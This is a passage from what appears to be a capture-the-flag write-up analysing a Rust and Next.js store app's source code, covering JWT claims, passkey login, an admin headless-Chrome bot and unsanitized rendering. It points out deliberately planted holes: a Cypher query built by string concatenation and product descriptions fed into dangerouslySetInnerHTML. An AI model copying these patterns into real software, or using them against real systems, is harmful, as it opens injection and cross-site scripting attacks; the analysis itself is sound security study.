    <span class="n">username</span><span class="p">:</span> <span class="n">user</span><span class="py">.username</span><span class="nf">.to_owned</span><span class="p">(),</span>
    <span class="n">privilege_level</span><span class="p">:</span> <span class="n">user</span><span class="py">.privilege_level</span><span class="p">,</span>
    <span class="n">with_passkey</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
    <span class="n">only_for_paths</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
    <span class="n">exp</span><span class="p">:</span> <span class="nn">SystemTime</span><span class="p">::</span><span class="nf">now</span><span class="p">()</span><span class="nf">.add</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="mi">60</span> <span class="o">*</span> <span class="mi">60</span> <span class="o">*</span> <span class="mi">24</span><span class="p">))</span>
        <span class="nf">.duration_since</span><span class="p">(</span><span class="n">UNIX_EPOCH</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.as_secs</span><span class="p">()</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The frontend passkey flow (<code class="language-plaintext highlighter-rouge">app/auth/passkey/page.tsx</code>) is the standard SimpleWebAuthn flow:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">startResponse</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">startAuthentication</span><span class="p">(</span><span class="nx">username</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">challenge</span> <span class="o">=</span> <span class="nx">startResponse</span><span class="p">.</span><span class="nx">result</span><span class="o">!</span><span class="p">.</span><span class="nx">challenge</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">credential</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">invokeAuthenticator</span><span class="p">(</span><span class="nx">challenge</span><span class="p">.</span><span class="nx">publicKey</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">finishResponse</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">finishAuthentication</span><span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">credential</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">User</span><span class="p">.</span><span class="nf">fromJwt</span><span class="p">(</span><span class="nx">finishResponse</span><span class="p">.</span><span class="nx">result</span><span class="o">!</span><span class="p">.</span><span class="nx">token</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">user</span><span class="p">.</span><span class="nf">save</span><span class="p">();</span>
<span class="nx">router</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="dl">"</span><span class="s2">/dashboard</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<p>The browser’s authenticator signs the challenge, sends the assertion to <code class="language-plaintext highlighter-rouge">finish</code>, decodes the returned JWT, stores it, and redirects to the dashboard. This matches what I saw earlier where the Chrome WebAuthn emulator was sufficient to complete the login.</p>

<p>To recap the three flows and what ends up in the JWT:</p>

<table>
  <thead>
    <tr>
      <th>Flow</th>
      <th>Endpoint(s)</th>
      <th>Creds checked</th>
      <th><code class="language-plaintext highlighter-rouge">privilege_level</code></th>
      <th><code class="language-plaintext highlighter-rouge">with_passkey</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Register</td>
      <td><code class="language-plaintext highlighter-rouge">POST /api/auth/register</code></td>
      <td>(none - creates account)</td>
      <td><code class="language-plaintext highlighter-rouge">Seller</code> if <code class="language-plaintext highlighter-rouge">registrationKey</code> matches, else <code class="language-plaintext highlighter-rouge">Client</code></td>
      <td>n/a</td>
    </tr>
    <tr>
      <td>Password login</td>
      <td><code class="language-plaintext highlighter-rouge">POST /api/auth/login</code></td>
      <td>Argon2 verify</td>
      <td>from <code class="language-plaintext highlighter-rouge">PRIVILEGES</code> at login time</td>
      <td><code class="language-plaintext highlighter-rouge">false</code></td>
    </tr>
    <tr>
      <td>Passkey login</td>
      <td><code class="language-plaintext highlighter-rouge">POST /api/webauthn/passkey/authenticate/{start,finish}</code></td>
      <td>WebAuthn assertion</td>
      <td>from <code class="language-plaintext highlighter-rouge">PRIVILEGES</code> at login time</td>
      <td><code class="language-plaintext highlighter-rouge">true</code></td>
    </tr>
  </tbody>
</table>

<h4 id="products">Products</h4>

<p>The <code class="language-plaintext highlighter-rouge">Product</code> model is defined in <code class="language-plaintext highlighter-rouge">db/models/product.rs</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[derive(Model,</span> <span class="nd">Serialize,</span> <span class="nd">Deserialize)]</span>
<span class="k">pub</span> <span class="k">struct</span> <span class="n">Product</span> <span class="p">{</span>
    <span class="k">pub</span> <span class="n">id</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">name</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">description</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">is_authorized</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">created_by_id</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>

<span class="k">impl</span> <span class="n">Product</span> <span class="p">{</span>
    <span class="k">pub</span> <span class="k">fn</span> <span class="nf">should_show_for_user</span><span class="p">(</span><span class="o">&amp;</span><span class="k">self</span><span class="p">,</span> <span class="n">claims</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">UserClaims</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">bool</span> <span class="p">{</span>
        <span class="k">self</span><span class="py">.is_authorized</span>
            <span class="p">||</span> <span class="n">claims</span><span class="py">.privilege_level</span> <span class="o">==</span> <span class="nn">UserPrivilegeLevel</span><span class="p">::</span><span class="n">Admin</span>
            <span class="p">||</span> <span class="k">self</span><span class="py">.created_by_id</span> <span class="o">==</span> <span class="n">claims</span><span class="py">.id</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>A product is visible to a user if it is flagged <code class="language-plaintext highlighter-rouge">is_authorized</code>, or the caller is an <code class="language-plaintext highlighter-rouge">Admin</code>, or the caller created it. Everything seeded in <code class="language-plaintext highlighter-rouge">initial_data.rs</code> is created by the admin user with <code class="language-plaintext highlighter-rouge">is_authorized: true</code>, which is why a fresh <code class="language-plaintext highlighter-rouge">Client</code> account sees the full pre-populated catalog.</p>

<p>The functions used to get products are in <code class="language-plaintext highlighter-rouge">get_all.rs</code> and <code class="language-plaintext highlighter-rouge">get_one.rs</code>. Both sit behind the <code class="language-plaintext highlighter-rouge">RequireClient</code> guard (so any logged-in user can hit them) and apply <code class="language-plaintext highlighter-rouge">should_show_for_user</code> as a post-fetch filter. <code class="language-plaintext highlighter-rouge">get_one</code> returns <code class="language-plaintext highlighter-rouge">NotFound</code> when the product exists but the user can’t see it, so existence isn’t leaked. The product IDs are <code class="language-plaintext highlighter-rouge">Uuid::new_v4()</code> strings, which matches the GUIDs I noticed earlier in the dashboard URLs. These functions use the <code class="language-plaintext highlighter-rouge">Product::get_by_id(id.to_owned())</code> and <code class="language-plaintext highlighter-rouge">Product::get_all()</code> methods. Of most interest is <code class="language-plaintext highlighter-rouge">get_by_id</code> called with the <code class="language-plaintext highlighter-rouge">id</code> variable, where <code class="language-plaintext highlighter-rouge">id</code> is the string after <code class="language-plaintext highlighter-rouge">/dashboard/store/</code> in the URL, whatever string the user dropped into the URL.</p>

<p><code class="language-plaintext highlighter-rouge">get_by_id</code> isn’t a function in the Rust code, but rather a macro derived from <code class="language-plaintext highlighter-rouge">backend-macros</code>. The relevant chunk of <code class="language-plaintext highlighter-rouge">backend-macros/src/lib.rs</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">get_functions</span> <span class="o">=</span> <span class="n">fields</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.map</span><span class="p">(|</span><span class="o">&amp;</span><span class="n">FieldWithAttributes</span> <span class="p">{</span> <span class="n">field</span><span class="p">,</span> <span class="o">..</span> <span class="p">}|</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">name</span> <span class="o">=</span> <span class="n">field</span><span class="py">.ident</span><span class="nf">.as_ref</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">type_</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">field</span><span class="py">.ty</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">name_string</span> <span class="o">=</span> <span class="n">name</span><span class="nf">.to_string</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">function_name</span> <span class="o">=</span> <span class="nn">syn</span><span class="p">::</span><span class="nn">Ident</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span>
        <span class="o">&amp;</span><span class="nd">format!</span><span class="p">(</span><span class="s">"get_by_{}"</span><span class="p">,</span> <span class="n">name_string</span><span class="p">),</span>
        <span class="nn">proc_macro2</span><span class="p">::</span><span class="nn">Span</span><span class="p">::</span><span class="nf">call_site</span><span class="p">(),</span>
    <span class="p">);</span>

    <span class="nd">quote!</span> <span class="p">{</span>
        <span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> #<span class="nf">function_name</span><span class="p">(</span>#<span class="n">name</span><span class="p">:</span> #<span class="n">type_</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Option</span><span class="o">&lt;</span><span class="k">Self</span><span class="o">&gt;</span> <span class="p">{</span>
            <span class="k">let</span> <span class="n">graph</span> <span class="o">=</span> <span class="k">crate</span><span class="p">::</span><span class="nn">db</span><span class="p">::</span><span class="nn">connection</span><span class="p">::</span><span class="n">GRAPH</span><span class="nf">.get</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
            <span class="k">let</span> <span class="n">query_string</span> <span class="o">=</span> <span class="nd">format!</span><span class="p">(</span>
                <span class="s">r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#</span><span class="p">,</span>
                #<span class="n">struct_name</span><span class="p">,</span> #<span class="n">name_string</span><span class="p">,</span> #<span class="n">name</span>
            <span class="p">);</span>
            <span class="k">let</span> <span class="n">row</span> <span class="o">=</span> <span class="k">match</span> <span class="n">graph</span><span class="nf">.execute</span><span class="p">(</span>
                <span class="p">::</span><span class="nn">neo4rs</span><span class="p">::</span><span class="nf">query</span><span class="p">(</span><span class="o">&amp;</span><span class="n">query_string</span><span class="p">)</span>
            <span class="p">)</span><span class="k">.await</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.next</span><span class="p">()</span><span class="k">.await</span> <span class="p">{</span>
                <span class="nf">Ok</span><span class="p">(</span><span class="nf">Some</span><span class="p">(</span><span class="n">row</span><span class="p">))</span> <span class="k">=&gt;</span> <span class="n">row</span><span class="p">,</span>
                <span class="n">_</span> <span class="k">=&gt;</span> <span class="k">return</span> <span class="nb">None</span>
            <span class="p">};</span>
            <span class="k">Self</span><span class="p">::</span><span class="nf">from_row</span><span class="p">(</span><span class="n">row</span><span class="p">)</span><span class="k">.await</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The user-supplied value is concatenated straight into the Cypher query with <code class="language-plaintext highlighter-rouge">format!</code>, with no parameter binding and no escaping. I’ll come back to this shortly.</p>

<p><code class="language-plaintext highlighter-rouge">insert.rs</code> defines the <code class="language-plaintext highlighter-rouge">insert_product</code> method, which is gated by <code class="language-plaintext highlighter-rouge">RequireSeller</code>, so a plain <code class="language-plaintext highlighter-rouge">Client</code> cannot create products:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[post(</span><span class="s">"/"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;data&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">insert_product</span><span class="p">(</span>
    <span class="n">guard</span><span class="p">:</span> <span class="n">RequireSeller</span><span class="p">,</span>
    <span class="n">browser_store</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">State</span><span class="o">&lt;</span><span class="n">BrowserStore</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="n">data</span><span class="p">:</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">Request</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">AppError</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">id</span> <span class="o">=</span> <span class="nn">Uuid</span><span class="p">::</span><span class="nf">new_v4</span><span class="p">()</span><span class="nf">.to_string</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">product</span> <span class="o">=</span> <span class="n">Product</span> <span class="p">{</span>
        <span class="n">id</span><span class="p">:</span> <span class="n">id</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="n">name</span><span class="p">:</span> <span class="n">data</span><span class="py">.name</span><span class="nf">.clone</span><span class="p">(),</span>
        <span class="n">description</span><span class="p">:</span> <span class="n">data</span><span class="py">.description</span><span class="nf">.clone</span><span class="p">(),</span>
        <span class="n">is_authorized</span><span class="p">:</span> <span class="k">false</span><span class="p">,</span>
        <span class="n">created_by_id</span><span class="p">:</span> <span class="n">guard</span><span class="py">.claims.id</span><span class="p">,</span>
    <span class="p">};</span>
    <span class="n">product</span><span class="nf">.save</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
</code></pre></div></div>

<p>The new product is saved with <code class="language-plaintext highlighter-rouge">is_authorized: false</code> and <code class="language-plaintext highlighter-rouge">created_by_id</code> set to the caller, leaving the product only visible to the user who created it and the admin. Then this happens:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">let</span> <span class="n">user</span> <span class="o">=</span> <span class="nn">User</span><span class="p">::</span><span class="nf">get_by_username</span><span class="p">(</span><span class="s">"admin"</span><span class="nf">.to_string</span><span class="p">())</span><span class="k">.await</span><span class="nf">.unwrap</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">claim</span> <span class="o">=</span> <span class="n">UserClaims</span> <span class="p">{</span>
        <span class="n">id</span><span class="p">:</span> <span class="n">user</span><span class="py">.id</span><span class="p">,</span>
        <span class="n">username</span><span class="p">:</span> <span class="n">user</span><span class="py">.username</span><span class="nf">.to_owned</span><span class="p">(),</span>
        <span class="n">privilege_level</span><span class="p">:</span> <span class="n">user</span><span class="py">.privilege_level</span><span class="p">,</span>
        <span class="n">with_passkey</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
        <span class="n">only_for_paths</span><span class="p">:</span> <span class="nf">Some</span><span class="p">(</span><span class="nd">vec!</span><span class="p">[</span>
            <span class="s">r"^\/api\/product\/[a-zA-Z0-9-]+$"</span><span class="nf">.to_string</span><span class="p">(),</span>
            <span class="s">r"^\/api\/webauthn\/passkey\/register\/start$"</span><span class="nf">.to_string</span><span class="p">(),</span>
            <span class="s">r"^\/api\/webauthn\/passkey\/register\/finish$"</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="p">]),</span>
        <span class="n">exp</span><span class="p">:</span> <span class="nn">SystemTime</span><span class="p">::</span><span class="nf">now</span><span class="p">()</span>
            <span class="nf">.add</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="mi">60</span><span class="p">))</span>
            <span class="nf">.duration_since</span><span class="p">(</span><span class="n">UNIX_EPOCH</span><span class="p">)</span>
            <span class="nf">.unwrap</span><span class="p">()</span>
            <span class="nf">.as_secs</span><span class="p">()</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">,</span>
    <span class="p">};</span>
    <span class="k">let</span> <span class="n">token</span> <span class="o">=</span> <span class="nf">encode</span><span class="p">(</span>
        <span class="o">&amp;</span><span class="nn">Header</span><span class="p">::</span><span class="nf">default</span><span class="p">(),</span>
        <span class="o">&amp;</span><span class="n">claim</span><span class="p">,</span>
        <span class="o">&amp;</span><span class="nn">EncodingKey</span><span class="p">::</span><span class="nf">from_secret</span><span class="p">(</span><span class="n">JWT_SECRET</span><span class="nf">.as_bytes</span><span class="p">()),</span>
    <span class="p">)</span>
    <span class="nf">.unwrap</span><span class="p">();</span>
</code></pre></div></div>

<p>The backend mints a JWT for the <code class="language-plaintext highlighter-rouge">admin</code> user on the spot. The token has <code class="language-plaintext highlighter-rouge">with_passkey: true</code>, an expiry of 60 seconds, and <code class="language-plaintext highlighter-rouge">only_for_paths</code> populated with three endpoints: <code class="language-plaintext highlighter-rouge">GET /api/product/&lt;id&gt;</code> (so the bearer can fetch product details) and the two halves of passkey registration (<code class="language-plaintext highlighter-rouge">/api/webauthn/passkey/register/start</code> and <code class="language-plaintext highlighter-rouge">/finish</code>). Recall from earlier that <code class="language-plaintext highlighter-rouge">RequireAuthentication</code> enforces this whitelist, so this admin token is genuinely useless against any other route.</p>

<p>Then it spins up a headless Chrome instance, sets that token as a cookie, and visits the new product:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">let</span> <span class="n">semaphore</span> <span class="o">=</span> <span class="n">browser_store</span><span class="py">.semaphore</span><span class="nf">.clone</span><span class="p">();</span>
    <span class="nn">tokio</span><span class="p">::</span><span class="nn">task</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">async</span> <span class="k">move</span> <span class="p">{</span>
        <span class="k">let</span> <span class="n">_permit</span> <span class="o">=</span> <span class="n">semaphore</span><span class="nf">.acquire</span><span class="p">()</span><span class="k">.await</span><span class="nf">.unwrap</span><span class="p">();</span>

        <span class="k">let</span> <span class="n">url</span> <span class="o">=</span> <span class="nd">format!</span><span class="p">(</span><span class="s">"{}/dashboard/store/{}"</span><span class="p">,</span> <span class="o">&amp;*</span><span class="n">INTERNAL_FRONTEND</span><span class="p">,</span> <span class="n">product</span><span class="py">.id</span><span class="p">);</span>

        <span class="k">let</span> <span class="n">launch_options</span> <span class="o">=</span> <span class="n">LaunchOptions</span> <span class="p">{</span>
            <span class="n">port</span><span class="p">:</span> <span class="nf">Some</span><span class="p">(</span><span class="nn">rand</span><span class="p">::</span><span class="nf">thread_rng</span><span class="p">()</span><span class="nf">.gen_range</span><span class="p">(</span><span class="mi">8000</span><span class="o">..</span><span class="mi">9000</span><span class="p">)),</span>
            <span class="n">sandbox</span><span class="p">:</span> <span class="k">false</span><span class="p">,</span>
            <span class="o">..</span><span class="nn">Default</span><span class="p">::</span><span class="nf">default</span><span class="p">()</span>
        <span class="p">};</span>
        <span class="k">let</span> <span class="n">browser</span> <span class="o">=</span> <span class="nn">Browser</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="n">launch_options</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">();</span>
        <span class="k">let</span> <span class="n">tab</span> <span class="o">=</span> <span class="n">browser</span><span class="nf">.new_tab</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">();</span>

        <span class="n">tab</span><span class="nf">.set_cookies</span><span class="p">(</span><span class="nd">vec!</span><span class="p">[</span><span class="n">CookieParam</span> <span class="p">{</span>
            <span class="n">name</span><span class="p">:</span> <span class="s">"token"</span><span class="nf">.to_string</span><span class="p">(),</span>
            <span class="n">value</span><span class="p">:</span> <span class="n">token</span><span class="p">,</span>
            <span class="n">url</span><span class="p">:</span> <span class="nf">Some</span><span class="p">(</span><span class="n">INTERNAL_FRONTEND</span><span class="nf">.clone</span><span class="p">()),</span>
            <span class="n">domain</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
            <span class="n">path</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
            <span class="n">secure</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
            <span class="n">http_only</span><span class="p">:</span> <span class="nf">Some</span><span class="p">(</span><span class="kc">true</span><span class="p">),</span>
            <span class="n">same_site</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
            <span class="n">expires</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
            <span class="o">...</span>
        <span class="p">}])</span>
        <span class="nf">.unwrap</span><span class="p">();</span>

        <span class="n">tab</span><span class="nf">.navigate_to</span><span class="p">(</span><span class="o">&amp;</span><span class="n">url</span><span class="nf">.clone</span><span class="p">())</span><span class="nf">.unwrap</span><span class="p">();</span>
        <span class="n">tab</span><span class="nf">.wait_until_navigated</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">();</span>

        <span class="nn">tokio</span><span class="p">::</span><span class="nn">time</span><span class="p">::</span><span class="nf">sleep</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="mi">10</span><span class="p">))</span><span class="k">.await</span><span class="p">;</span>

        <span class="nf">drop</span><span class="p">(</span><span class="n">browser</span><span class="p">);</span>
    <span class="p">});</span>
    <span class="nf">Ok</span><span class="p">(</span><span class="nf">Json</span><span class="p">(</span><span class="n">Response</span> <span class="p">{</span> <span class="n">id</span> <span class="p">}))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So every <code class="language-plaintext highlighter-rouge">POST /api/product</code> call triggers an admin-authenticated headless Chrome to load <code class="language-plaintext highlighter-rouge">/dashboard/store/&lt;new_product_id&gt;</code>, wait ten seconds, and quit.</p>

<p>It’s a bit unusual to see a bot built into the page itself, but it seems to be simulating an admin user visiting every product that’s submitted.</p>

<p>The frontend page that gets loaded (<code class="language-plaintext highlighter-rouge">app/dashboard/store/[product]/page.tsx</code>) is the same one I see when I click into a product as a logged-in client. Whatever the page renders for the product’s <code class="language-plaintext highlighter-rouge">name</code> and <code class="language-plaintext highlighter-rouge">description</code> will be rendered with admin-cookie context inside the bot’s Chrome.</p>

<p>That page is short:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nf">_ProductPage</span><span class="p">({</span> <span class="nx">params</span> <span class="p">}:</span> <span class="p">{</span> <span class="nl">params</span><span class="p">:</span> <span class="p">{</span> <span class="na">product</span><span class="p">:</span> <span class="kr">string</span> <span class="p">}</span> <span class="p">})</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nc">API</span><span class="p">().</span><span class="nf">get</span><span class="p">(</span><span class="s2">`product/</span><span class="p">${</span><span class="nx">params</span><span class="p">.</span><span class="nx">product</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>

  <span class="k">if </span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="mi">404</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nf">notFound</span><span class="p">();</span>
  <span class="p">}</span>

  <span class="kd">const</span> <span class="p">{</span> <span class="nx">product</span> <span class="p">}</span> <span class="o">=</span> <span class="p">(</span><span class="k">await</span> <span class="nx">response</span><span class="p">.</span><span class="nf">json</span><span class="p">())</span> <span class="kd">as </span><span class="nx">Response</span><span class="p">;</span>

  <span class="k">return </span><span class="p">(</span>
    <span class="o">&lt;</span><span class="nx">Card</span> <span class="nx">className</span><span class="o">=</span><span class="dl">"</span><span class="s2">flex flex-col</span><span class="dl">"</span><span class="o">&gt;</span>
      <span class="o">&lt;</span><span class="nx">CardHeader</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="nx">CardTitle</span><span class="o">&gt;</span>
          <span class="o">&lt;</span><span class="nx">p</span> <span class="nx">className</span><span class="o">=</span><span class="dl">"</span><span class="s2">text-3xl</span><span class="dl">"</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">product</span><span class="p">.</span><span class="nx">name</span><span class="p">}</span><span class="o">&lt;</span><span class="sr">/p</span><span class="err">&gt;
</span>        <span class="o">&lt;</span><span class="sr">/CardTitle</span><span class="err">&gt;
</span>      <span class="o">&lt;</span><span class="sr">/CardHeader</span><span class="err">&gt;
</span>      <span class="o">&lt;</span><span class="nx">CardContent</span> <span class="nx">className</span><span class="o">=</span><span class="dl">"</span><span class="s2">flex flex-col flex-1</span><span class="dl">"</span><span class="o">&gt;</span>
        <span class="o">&lt;</span><span class="nx">p</span>
          <span class="nx">className</span><span class="o">=</span><span class="dl">"</span><span class="s2">mb-4 text-xl</span><span class="dl">"</span>
          <span class="nx">dangerouslySetInnerHTML</span><span class="o">=</span><span class="p">{{</span>
            <span class="na">__html</span><span class="p">:</span> <span class="nx">product</span><span class="p">.</span><span class="nx">description</span><span class="p">,</span>
          <span class="p">}}</span>
        <span class="sr">/</span><span class="err">&gt;
</span>      <span class="o">&lt;</span><span class="sr">/CardContent</span><span class="err">&gt;
</span>    <span class="o">&lt;</span><span class="sr">/Card</span><span class="err">&gt;
</span>  <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">product.name</code> is rendered as a normal React child (<code class="language-plaintext highlighter-rouge">&lt;p&gt;{product.name}&lt;/p&gt;</code>), so React escapes it. But <code class="language-plaintext highlighter-rouge">product.description</code> is fed straight into <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>, which sets the raw HTML on the element without any escaping or sanitization. Whatever bytes a seller put into <code class="language-plaintext highlighter-rouge">description</code> end up parsed as HTML on the page, including <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tags or inline event handlers.</p>

<h4 id="dns-management">DNS Management</h4>

<p>The <code class="language-plaintext highlighter-rouge">/dashboard/dns</code> page is the first of three dashboard pages that require both an admin login and a passkey-backed session. The frontend wraps it in <code class="language-plaintext highlighter-rouge">requireAuth(_, 2).then(requirePasskey)</code> from <code class="language-plaintext highlighter-rouge">protect/protect.tsx</code>:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="k">async</span> <span class="kd">function</span> <span class="nf">requireAuth</span><span class="p">(</span>
  <span class="nx">Component</span><span class="p">:</span> <span class="p">(</span><span class="nx">props</span><span class="p">:</span> <span class="kr">any</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nb">Promise</span><span class="o">&lt;</span><span class="nx">React</span><span class="p">.</span><span class="nx">ReactElement</span><span class="o">&gt;</span><span class="p">,</span>
  <span class="nx">privilege</span><span class="p">?:</span> <span class="kr">number</span><span class="p">,</span>
<span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">maybeGetUserOnServer</span><span class="p">();</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">user</span> <span class="o">===</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">NotFound</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">user</span><span class="p">.</span><span class="nx">privilegeLevel</span> <span class="o">&lt;</span> <span class="p">(</span><span class="nx">privilege</span> <span class="o">??</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">NotFound</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="nx">Component</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">requireAuth(_, 2)</code> rejects anyone whose JWT <code class="language-plaintext highlighter-rouge">privilegeLevel</code> is below <code class="language-plaintext highlighter-rouge">2</code> (Admin), and <code class="language-plaintext highlighter-rouge">requirePasskey</code> then rejects anyone whose <code class="language-plaintext highlighter-rouge">withPasskey</code> claim is <code class="language-plaintext highlighter-rouge">false</code>. The corresponding backend handlers stack the <code class="language-plaintext highlighter-rouge">RequireAdmin</code> and <code class="language-plaintext highlighter-rouge">RequirePasskey</code> guards to enforce the same two conditions server-side.</p>

<p>The page itself shows a table of name / value entries and a “Force Records Re-fetch” button. It calls <code class="language-plaintext highlighter-rouge">GET /api/dns</code> to populate the table and <code class="language-plaintext highlighter-rouge">POST /api/dns</code> to refresh it.</p>

<p><code class="language-plaintext highlighter-rouge">api/dns/get.rs</code> just returns the in-memory cache that the Kafka background thread keeps up to date:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[get(</span><span class="s">"/"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">fn</span> <span class="nf">get_entries</span><span class="p">(</span><span class="n">_guard1</span><span class="p">:</span> <span class="n">RequireAdmin</span><span class="p">,</span> <span class="n">_guard2</span><span class="p">:</span> <span class="n">RequirePasskey</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="nf">Json</span><span class="p">(</span><span class="n">Response</span> <span class="p">{</span>
        <span class="n">entries</span><span class="p">:</span> <span class="n">DNS</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">()</span><span class="py">.entries</span><span class="nf">.clone</span><span class="p">(),</span>
    <span class="p">})</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">api/dns/update.rs</code> is the producer side of the Kafka pipeline. It publishes a fixed string to the <code class="language-plaintext highlighter-rouge">update</code> topic:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[post(</span><span class="s">"/"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">fn</span> <span class="nf">update_dns</span><span class="p">(</span>
